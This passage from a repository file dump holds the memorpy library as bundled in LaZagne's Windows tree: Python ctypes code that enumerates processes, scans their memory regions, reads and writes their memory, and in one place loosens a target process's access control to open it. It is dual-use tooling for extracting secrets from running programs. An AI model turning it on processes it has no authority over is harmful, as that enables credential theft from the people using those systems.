regex))\n            value = tmp\n\n        elif ftype != 'match' and ftype != 'group' and ftype != 're' and ftype != 'groups' and ftype != 'ngroups' and ftype != 'lambda':\n            structtype, structlen = type_unpack(ftype)\n            value = struct.pack(structtype, value)\n\n        # different functions avoid if statement before parsing the buffer\n        if ftype == 're':\n            func = self.parse_re_function        \n        \n        elif ftype == 'groups':\n            func = self.parse_groups_function\n\n        elif ftype == 'ngroups':\n            func = self.parse_named_groups_function\n\n        elif ftype == 'float':\n            func = self.parse_float_function\n        elif ftype == 'lambda': # use a custm function\n            func = value\n        else:\n            func = self.parse_any_function\n\n        if not self.process.isProcessOpen:\n            raise ProcessException(\"Can't read_bytes, process %s is not open\" % (self.process.pid))\n\n        for offset, chunk_size in self.process.iter_region(start_offset=start_offset, end_offset=end_offset, protec=protec, optimizations=optimizations):\n            b = b''\n            current_offset = offset\n            chunk_read = 0\n            chunk_exc = False\n            while chunk_read < chunk_size:\n                try:\n                    b += self.process.read_bytes(current_offset, chunk_size)\n                except IOError as e:\n                    print(traceback.format_exc())\n                    if e.errno == 13:\n                        raise\n                    else:\n                        logger.warning(e)\n                    chunk_exc=True\n                    break\n                except Exception as e:\n                    print('coucou')\n                    logger.warning(e)\n                    chunk_exc = True\n                    break\n                finally:\n                    current_offset += chunk_size\n                    chunk_read += chunk_size\n\n            if chunk_exc:\n                continue\n\n            if b:\n                if ftype==\"lambda\":\n                    for res in func(b.decode('latin'), offset):\n                        yield res\n                else:\n                    for res in func(b.decode('latin'), value, offset):\n                        yield res\n\n\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/OSXProcess.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nimport copy\nimport struct\nimport utils\nimport platform\nimport ctypes, re, sys\nimport ctypes.util\nimport errno\nimport os\nimport signal\nfrom .BaseProcess import BaseProcess, ProcessException\nfrom .structures import *\nimport logging\nimport subprocess\n\nlogger = logging.getLogger('memorpy')\n\nlibc = ctypes.CDLL(ctypes.util.find_library('c'))\n\nVM_REGION_BASIC_INFO_64    = 9\n\nclass vm_region_basic_info_64(ctypes.Structure):\n    _fields_ = [\n        ('protection',      ctypes.c_uint32),\n        ('max_protection',  ctypes.c_uint32),\n        ('inheritance',     ctypes.c_uint32),\n        ('shared',          ctypes.c_uint32),\n        ('reserved',        ctypes.c_uint32),\n        ('offset',          ctypes.c_ulonglong),\n        ('behavior',        ctypes.c_uint32),\n        ('user_wired_count',ctypes.c_ushort),\n]\n\nVM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4\n\nVM_PROT_READ    = 1\nVM_PROT_WRITE    = 2\nVM_PROT_EXECUTE    = 4\n\nclass OSXProcess(BaseProcess):\n    def __init__(self, pid=None, name=None, debug=True):\n        \"\"\" Create and Open a process object from its pid or from its name \"\"\"\n        super(OSXProcess, self).__init__()\n        if pid is not None:\n            self.pid=pid\n        elif name is not None:\n            self.pid=OSXProcess.pid_from_name(name)\n        else:\n            raise ValueError(\"You need to instanciate process with at least a name or a pid\")\n        self.task=None\n        self.mytask=None\n        self._open()\n\n    def close(self):\n        pass\n\n    def __del__(self):\n        pass\n\n    def _open(self):\n        self.isProcessOpen = True\n        self.task = ctypes.c_uint32()\n        self.mytask=libc.mach_task_self()\n        ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task))\n        if ret!=0:\n            raise ProcessException(\"task_for_pid failed with error code : %s\"%ret)\n\n    @staticmethod\n    def list():\n        #TODO list processes with ctypes\n        processes=[]\n        res=subprocess.check_output(\"ps A\", shell=True)\n        for line in res.split('\\n'):\n            try:\n                tab=line.split()\n                pid=int(tab[0])\n                exe=' '.join(tab[4:])\n                processes.append({\"pid\":int(pid), \"name\":exe})\n            except:\n                pass\n        return processes\n\n    @staticmethod\n    def pid_from_name(name):\n        for dic in OSXProcess.list():\n            if name in dic['exe']:\n                return dic['pid']\n\n\n    def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):\n        \"\"\"\n            optimizations :\n                i for inode==0 (no file mapping)\n                s to avoid scanning shared regions\n                x to avoid scanning x regions\n                r don't scan ronly regions\n        \"\"\"\n        maps = []\n        address = ctypes.c_ulong(0)\n        mapsize = ctypes.c_ulong(0)\n        name    = ctypes.c_uint32(0)\n        count   = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64)\n        info    = vm_region_basic_info_64()\n\n        while True:\n            r = libc.mach_vm_region(self.task, ctypes.pointer(address),\n                                   ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64,\n                                   ctypes.pointer(info), ctypes.pointer(count),\n                                   ctypes.pointer(name))\n            # If we get told \"invalid address\", we have crossed into kernel land...\n            if r == 1:\n                break\n\n            if r != 0:\n                raise ProcessException('mach_vm_region failed with error code %s' % r)\n            if start_offset is not None:\n                if address.value < start_offset:\n                    address.value += mapsize.value\n                    continue\n            if end_offset is not None:\n                if address.value > end_offset:\n                    break\n            p = info.protection\n            if p & VM_PROT_EXECUTE:\n                if optimizations and 'x' in optimizations:\n                    address.value += mapsize.value\n                    continue\n            if info.shared:\n                if optimizations and 's' in optimizations:\n                    address.value += mapsize.value\n                    continue\n            if p & VM_PROT_READ:\n                if not (p & VM_PROT_WRITE):\n                    if optimizations and 'r' in optimizations:\n                        address.value += mapsize.value\n                        continue\n                yield address.value, mapsize.value\n            \n            address.value += mapsize.value\n\n\n    def write_bytes(self, address, data):\n        raise NotImplementedError(\"write not implemented on OSX\")\n        return True\n\n    def read_bytes(self, address, bytes = 4):\n        pdata = ctypes.c_void_p(0)\n        data_cnt = ctypes.c_uint32(0)\n        \n        ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt));\n        #if ret==1:\n        #    return \"\"\n        if ret!=0:\n            raise ProcessException(\"mach_vm_read returned : %s\"%ret)\n        buf=ctypes.string_at(pdata.value, data_cnt.value)\n        libc.vm_deallocate(self.mytask, pdata, data_cnt)\n        return buf\n\n\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/Process.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nimport sys\nfrom .BaseProcess import *\nif sys.platform=='win32':\n    from .WinProcess import WinProcess as Process\nelif sys.platform=='darwin':\n    from .OSXProcess import OSXProcess as Process\nelif 'sunos' in sys.platform:\n    from .SunProcess import SunProcess as Process\nelse:\n    from .LinProcess import LinProcess as Process\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/SunProcess.py",
    "content": "# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom .BaseProcess import BaseProcess, ProcessException\nimport struct\nimport os\n\nMA_READ      =    0x04\nMA_WRITE     =    0x02\nMA_EXEC      =    0x01\nMA_SHARED    =    0x08\nMA_ANON      =    0x40\nMA_ISM       =    0x80\nMA_NORESERVE =    0x100\nMA_SHM       =    0x200\nMA_RESERVED1 =    0x400\nMA_OSM       =    0x800\n\nPSINFO_T = struct.Struct(\n    'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII'\n)\n\nMAP_T = struct.Struct(\n    'LL64sQiiii'\n)\n\nclass SunProcess(BaseProcess):\n    def __init__(self, pid=None, name=None, debug=True, ptrace=None):\n        ''' Create and Open a process object from its pid or from its name '''\n        super(SunProcess, self).__init__()\n        self.pid = int(pid)\n        self.pas = None\n        self.writable = False\n        if name and not self.pid:\n            self.pid = SunProcess.pid_from_name(name)\n        if not name and not self.pid:\n            raise ValueError('You need to instanciate process with at least a name or a pid')\n        try:\n            self._open()\n        except:\n            pass\n\n    def close(self):\n        if self.pas:\n            self.pas.close()\n\n    def __del__(self):\n        self.close()\n\n    def _open(self):\n        try:\n            self.pas = open('/proc/%d/as'%(self.pid), 'w+')\n            self.writable = True\n        except IOError:\n            self.pas = open('/proc/%d/as'%(self.pid))\n\n        self.isProcessOpen = True\n\n    @staticmethod\n    def _name_args(pid):\n        with open('/proc/%d/psinfo'%(int(pid))) as psinfo:\n            items = PSINFO_T.unpack_from(psinfo.read())\n            return items[23].rstrip('\\x00'), items[24].rstrip('\\x00')\n\n    @staticmethod\n    def list():\n        processes=[]\n        for pid in os.listdir('/proc'):\n            try:\n                pid = int(pid)\n                name, _ = SunProcess._name_args(pid)\n                processes.append({\n                    'pid': pid,\n                    'name': name\n                })\n            except:\n                pass\n\n        return processes\n\n    @staticmethod\n    def pid_from_name(name):\n        processes=[]\n        for pid in os.listdir('/proc'):\n            try:\n                pid = int(pid)\n                pname, cmdline = SunProcess._name_args(pid)\n                if name in pname:\n                    return pid\n                if name in cmdline.split(' ', 1)[0]:\n                    return pid\n            except:\n                pass\n\n        raise ProcessException('No process with such name: %s'%name)\n\n    def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):\n        \"\"\"\n            optimizations :\n                i for inode==0 (no file mapping)\n                s to avoid scanning shared regions\n                x to avoid scanning x regions\n                r don't scan ronly regions\n        \"\"\"\n        if not self.isProcessOpen:\n            return\n\n        with open('/proc/%d/map'%(self.pid)) as maps_file:\n            while True:\n                mapping = maps_file.read(MAP_T.size)\n\n                if not mapping:\n                    break\n\n                start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping)\n\n                if start_offset is not None:\n                    if start < start_offset:\n                        continue\n\n                if end_offset is not None:\n                    if start > end_offset:\n                        continue\n\n                if not flags & MA_READ:\n                    continue\n\n                if optimizations:\n                    if 'i' in optimizations and not flags & MA_ANON:\n                        continue\n                    if 's' in optimizations and flags & MA_SHM:\n                        continue\n                    # in sunos it's quite common when this flag is set, so let's use other letter\n                    if 'X' in optimizations and flags & MA_EXEC:\n                        continue\n                    if 'r' in optimizations and not flags & MA_WRITE:\n                        continue\n\n                yield start, size\n\n    def write_bytes(self, address, data):\n        if not self.pas or not self.writable:\n            return False\n\n        self.pas.seek(address)\n        self.pas.write(data)\n\n        return True\n\n    def read_bytes(self, address, bytes = 4):\n        if not self.pas:\n            return\n\n        self.pas.seek(address)\n        return self.pas.read(bytes)\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/WinProcess.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError\nfrom .structures import *\nimport copy\nimport struct\n# import utils\nimport platform\nfrom .BaseProcess import BaseProcess, ProcessException\n\npsapi       = windll.psapi\nkernel32    = windll.kernel32\nadvapi32    = windll.advapi32\n\nIsWow64Process=None\nif hasattr(kernel32,'IsWow64Process'):\n    IsWow64Process=kernel32.IsWow64Process\n    IsWow64Process.restype = c_bool\n    IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)]\n\nclass WinProcess(BaseProcess):\n\n    def __init__(self, pid=None, name=None, debug=True):\n        \"\"\" Create and Open a process object from its pid or from its name \"\"\"\n        super(WinProcess, self).__init__()\n        if pid:\n            self._open(int(pid), debug=debug)\n            \n        elif name:\n            self._open_from_name(name, debug=debug)\n        else:\n            raise ValueError(\"You need to instanciate process with at least a name or a pid\")\n        \n        if self.is_64bit():\n            si = self.GetNativeSystemInfo()\n            self.max_addr = si.lpMaximumApplicationAddress\n        else:\n            si = self.GetSystemInfo()\n            self.max_addr = 2147418111\n        self.min_addr = si.lpMinimumApplicationAddress\n\n\n    def __del__(self):\n        self.close()\n\n    def is_64bit(self):\n        if not \"64\" in platform.machine():\n            return False\n        iswow64 = c_bool(False)\n        if IsWow64Process is None:\n            return False\n        if not IsWow64Process(self.h_process, byref(iswow64)):\n            raise WinError()\n        return not iswow64.value\n\n    @staticmethod\n    def list():\n        processes=[]\n        arr = c_ulong * 256\n        lpidProcess= arr()\n        cb = sizeof(lpidProcess)\n        cbNeeded = c_ulong()\n        hModule = c_ulong()\n        count = c_ulong()\n        modname = create_string_buffer(100)\n        PROCESS_QUERY_INFORMATION = 0x0400\n        PROCESS_VM_READ = 0x0010\n\n        psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded))\n        nReturned = int(cbNeeded.value/sizeof(c_ulong()))\n\n        pidProcess = [i for i in lpidProcess][:nReturned]\n        for pid in pidProcess:\n            proc={ \"pid\": int(pid) }\n            hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)\n            if hProcess:\n                psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count))\n                psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname))\n                proc[\"name\"]=modname.value.decode()\n                kernel32.CloseHandle(hProcess)\n            processes.append(proc)\n        return processes\n\n    @staticmethod\n    def processes_from_name(processName):\n        processes = []\n        for process in WinProcess.list():\n            if processName == process.get(\"name\", None) or (process.get(\"name\",\"\").lower().endswith(\".exe\") and process.get(\"name\",\"\")[:-4]==processName):\n                processes.append(process)\n\n        if len(processes) > 0:\n            return processes\n\n    @staticmethod\n    def name_from_process(dwProcessId):\n        process_list = WinProcess.list()\n        for process in process_list:\n            if process.pid == dwProcessId:\n                return process.get(\"name\", None)\n\n        return False\n\n    def _open(self, dwProcessId, debug=False):\n        if debug:\n            ppsidOwner              = DWORD()\n            ppsidGroup              = DWORD()\n            ppDacl                  = DWORD()\n            ppSacl                  = DWORD()\n            ppSecurityDescriptor    = SECURITY_DESCRIPTOR()\n\n            process = kernel32.OpenProcess(262144, 0, dwProcessId)\n            advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor))\n            advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group)\n            kernel32.CloseHandle(process)\n        self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId)\n        if self.h_process is not None:\n            self.isProcessOpen = True\n            self.pid = dwProcessId\n            return True\n        return False\n\n    def close(self):\n        if self.h_process is not None:\n            ret = kernel32.CloseHandle(self.h_process) == 1\n            if ret:\n                self.h_process = None\n                self.pid = None\n                self.isProcessOpen = False\n            return ret\n        return False\n\n    def _open_from_name(self, processName, debug=False):\n        processes = self.processes_from_name(processName)\n        if not processes:\n            raise ProcessException(\"can't get pid from name %s\" % processName)\n        elif len(processes)>1:\n            raise ValueError(\"There is multiple processes with name %s. Please select a process from its pid instead\"%processName)\n        if debug:\n            self._open(processes[0][\"pid\"], debug=True)\n        else:\n            self._open(processes[0][\"pid\"], debug=False)\n\n    def GetSystemInfo(self):\n        si = SYSTEM_INFO()\n        kernel32.GetSystemInfo(byref(si))\n        return si\n\n    def GetNativeSystemInfo(self):\n        si = SYSTEM_INFO()\n        kernel32.GetNativeSystemInfo(byref(si))\n        return si\n\n    def VirtualQueryEx(self, lpAddress):\n        mbi = MEMORY_BASIC_INFORMATION()\n        if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):\n            raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)\n        return mbi\n\n    def VirtualQueryEx64(self, lpAddress):\n        mbi = MEMORY_BASIC_INFORMATION64()\n        if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):\n            raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)\n        return mbi\n\n    def VirtualProtectEx(self, base_address, size, protection):\n        old_protect = c_ulong(0)\n        if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)):\n            raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection))\n        return old_protect.value\n\n    def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):\n        \n        offset = start_offset or self.min_addr\n        end_offset = end_offset or self.max_addr\n\n        while True:\n            if offset >= end_offset:\n                break\n            mbi = self.VirtualQueryEx(offset)\n            offset = mbi.BaseAddress\n            chunk = mbi.RegionSize\n            protect = mbi.Protect\n            state = mbi.State\n            #print \"offset: %s, chunk:%s\"%(offset, chunk)\n            if state & MEM_FREE or state & MEM_RESERVE:\n                offset += chunk\n                continue\n            if protec:\n                if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD:\n                    offset += chunk\n                    continue\n            yield offset, chunk\n            offset += chunk\n\n    def write_bytes(self, address, data):\n        address = int(address)\n        if not self.isProcessOpen:\n            raise ProcessException(\"Can't write_bytes(%s, %s), process %s is not open\" % (address, data, self.pid))\n        buffer = create_string_buffer(data)\n        sizeWriten = c_size_t(0)\n        bufferSize = sizeof(buffer) - 1\n        _address = address\n        _length = bufferSize + 1\n        try:\n            old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE)\n        except:\n            pass\n\n        res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten))\n        try:\n            self.VirtualProtectEx(_address, _length, old_protect)\n        except:\n            pass\n\n        return res\n\n    def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False):\n        #print \"reading %s bytes from addr %s\"%(bytes, address)\n        if use_NtWow64ReadVirtualMemory64:\n            if NtWow64ReadVirtualMemory64 is None:\n                raise WindowsError(\"NtWow64ReadVirtualMemory64 is not available from a 64bit process\")\n            RpM = NtWow64ReadVirtualMemory64\n        else:\n            RpM = ReadProcessMemory\n\n        address = int(address)\n        buffer = create_string_buffer(bytes)\n        bytesread = c_size_t(0)\n        data = b''\n        length = bytes\n        while length:\n            if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0):\n                if bytesread.value:\n                    data += buffer.raw[:bytesread.value]\n                    length -= bytesread.value\n                    address += bytesread.value\n                if not len(data):\n                    raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(),\n                     address,\n                     length,\n                     bytesread.value))\n                return data\n            else:\n                if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it\n                    data += buffer.raw[:bytesread.value]\n                    return data\n                raise WinError()\n            # data += buffer.raw[:bytesread.value]\n            # length -= bytesread.value\n            # address += bytesread.value\n        return data\n\n   \n    def list_modules(self):\n        module_list = []\n        if self.pid is not None:\n            hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid)\n            if hModuleSnap is not None:\n                module_entry = MODULEENTRY32()\n                module_entry.dwSize = sizeof(module_entry)\n                success = Module32First(hModuleSnap, byref(module_entry))\n                while success:\n                    if module_entry.th32ProcessID == self.pid:\n                        module_list.append(copy.copy(module_entry))\n                    success = Module32Next(hModuleSnap, byref(module_entry))\n\n                kernel32.CloseHandle(hModuleSnap)\n        return module_list\n\n    def get_symbolic_name(self, address):\n        for m in self.list_modules():\n            if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize):\n                return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr)\n\n        return '0x%08X' % int(address)\n\n    def hasModule(self, module):\n        if module[-4:] != '.dll':\n            module += '.dll'\n        module_list = self.list_modules()\n        for m in module_list:\n            if module in m.szExePath.split('\\\\'):\n                return True\n        return False\n    \n\n    def get_instruction(self, address):\n        \"\"\"\n        Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction.\n        \"\"\"\n        import pydasm\n        try:\n            data = self.read_bytes(int(address), 32)\n        except:\n            return 'Unable to disassemble at %08x' % address\n\n        return pydasm.get_instruction(data, pydasm.MODE_32)\n\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/WinStructures.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong\nfrom ctypes.wintypes import *\n\nif sizeof(c_void_p) == 8:\n    ULONG_PTR = c_ulonglong\nelse:\n    ULONG_PTR = c_ulong\n\n\nclass SECURITY_DESCRIPTOR(Structure): \n    _fields_ = [\n        ('SID', DWORD),\n        ('group', DWORD),\n        ('dacl', DWORD),\n        ('sacl', DWORD),\n        ('test', DWORD)\n    ]\nPSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR)\n\nclass MEMORY_BASIC_INFORMATION(Structure):\n    _fields_ = [('BaseAddress', c_void_p),\n     ('AllocationBase', c_void_p),\n     ('AllocationProtect', DWORD),\n     ('RegionSize', c_size_t),\n     ('State', DWORD),\n     ('Protect', DWORD),\n     ('Type', DWORD)]\n\n# https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx\nclass MEMORY_BASIC_INFORMATION64(Structure):\n    _fields_ = [('BaseAddress', c_ulonglong),\n     ('AllocationBase', c_ulonglong),\n     ('AllocationProtect', DWORD),\n     ('alignement1', DWORD),\n     ('RegionSize', c_ulonglong),\n     ('State', DWORD),\n     ('Protect', DWORD),\n     ('Type', DWORD),\n     ('alignement2', DWORD)]\n\n\n\nclass SYSTEM_INFO(Structure):\n    _fields_ = [('wProcessorArchitecture', WORD),\n     ('wReserved', WORD),\n     ('dwPageSize', DWORD),\n     ('lpMinimumApplicationAddress', LPVOID),\n     ('lpMaximumApplicationAddress', LPVOID),\n     ('dwActiveProcessorMask', ULONG_PTR),\n     ('dwNumberOfProcessors', DWORD),\n     ('dwProcessorType', DWORD),\n     ('dwAllocationGranularity', DWORD),\n     ('wProcessorLevel', WORD),\n     ('wProcessorRevision', WORD)]\n\n\nclass PROCESSENTRY32(Structure):\n    _fields_ = [('dwSize', c_uint),\n     ('cntUsage', c_uint),\n     ('th32ProcessID', c_uint),\n     ('th32DefaultHeapID', c_uint),\n     ('th32ModuleID', c_uint),\n     ('cntThreads', c_uint),\n     ('th32ParentProcessID', c_uint),\n     ('pcPriClassBase', c_long),\n     ('dwFlags', DWORD),\n     #('dwFlags', ULONG_PTR),\n     ('szExeFile', c_char * 260),\n     ('th32MemoryBase', c_long),\n     ('th32AccessKey', c_long)]\n\n\nclass MODULEENTRY32(Structure):\n    _fields_ = [('dwSize', c_uint),\n     ('th32ModuleID', c_uint),\n     ('th32ProcessID', c_uint),\n     ('GlblcntUsage', c_uint),\n     ('ProccntUsage', c_uint),\n     ('modBaseAddr', c_uint),\n     ('modBaseSize', c_uint),\n     ('hModule', c_uint),\n     ('szModule', c_char * 256),\n     ('szExePath', c_char * 260)]\n\n\nclass THREADENTRY32(Structure):\n    _fields_ = [('dwSize', c_uint),\n     ('cntUsage', c_uint),\n     ('th32ThreadID', c_uint),\n     ('th32OwnerProcessID', c_uint),\n     ('tpBasePri', c_uint),\n     ('tpDeltaPri', c_uint),\n     ('dwFlags', c_uint)]\n\n\nclass TH32CS_CLASS(object):\n    INHERIT = 2147483648\n    SNAPHEAPLIST = 1\n    SNAPMODULE = 8\n    SNAPMODULE32 = 16\n    SNAPPROCESS = 2\n    SNAPTHREAD = 4\n    ALL = 2032639\n\n\nModule32First = windll.kernel32.Module32First\nModule32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)]\nModule32First.rettype = c_int\nModule32Next = windll.kernel32.Module32Next\nModule32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)]\nModule32Next.rettype = c_int\n\nProcess32First = windll.kernel32.Process32First\nProcess32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]\nProcess32First.rettype = c_int\nProcess32Next = windll.kernel32.Process32Next\nProcess32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]\nProcess32Next.rettype = c_int\n\nCreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot\nCreateToolhelp32Snapshot.reltype = c_long\nCreateToolhelp32Snapshot.argtypes = [c_int, c_int]\n\nCloseHandle = windll.kernel32.CloseHandle\nCloseHandle.argtypes = [c_void_p]\nCloseHandle.rettype = c_int\n\nOpenProcess = windll.kernel32.OpenProcess\nOpenProcess.argtypes = [c_void_p, c_int, c_long]\nOpenProcess.rettype = c_long\nOpenProcessToken = windll.advapi32.OpenProcessToken\nOpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE))\nOpenProcessToken.restype = BOOL\n\nReadProcessMemory = windll.kernel32.ReadProcessMemory\nReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)]\nReadProcessMemory = windll.kernel32.ReadProcessMemory\n\nWriteProcessMemory = windll.kernel32.WriteProcessMemory\nWriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)]\nWriteProcessMemory.restype = BOOL\n\nif sizeof(c_void_p) == 8:\n    NtWow64ReadVirtualMemory64=None\nelse:\n    try:\n        NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64\n        NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead);\n        NtWow64ReadVirtualMemory64.restype = BOOL\n    except:\n        NtWow64ReadVirtualMemory64=None\n\nVirtualQueryEx = windll.kernel32.VirtualQueryEx\nVirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t]\nVirtualQueryEx.restype = c_size_t\n\n#VirtualQueryEx64 = windll.kernel32.VirtualQueryEx\n#VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t]\n#VirtualQueryEx64.restype = c_size_t\n\nPAGE_EXECUTE_READWRITE = 64\nPAGE_EXECUTE_READ = 32\nPAGE_READONLY = 2\nPAGE_READWRITE = 4\nPAGE_NOCACHE = 512\nPAGE_WRITECOMBINE = 1024\nPAGE_GUARD = 256\n\nMEM_COMMIT = 4096\nMEM_FREE = 65536\nMEM_RESERVE = 8192\n\nUNPROTECTED_DACL_SECURITY_INFORMATION = 536870912\nDACL_SECURITY_INFORMATION = 4"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/__init__.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\n\nimport logging\nlogger=logging.getLogger(\"memorpy\")\nlogger.setLevel(logging.WARNING)\nch = logging.StreamHandler()\nch.setLevel(logging.WARNING)\nlogger.addHandler(ch)\n\nimport sys\nfrom .MemWorker import *\nfrom .Locator import *\nfrom .Address import *\nfrom .Process import *\nfrom .utils import *\n#if sys.platform==\"win32\":\n#    from wintools import *  #not a necessary dependency, just used for debugging\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/structures.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nimport sys\nif sys.platform==\"win32\":\n    from .WinStructures import *\nelse:\n    from .LinStructures import *\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/utils.py",
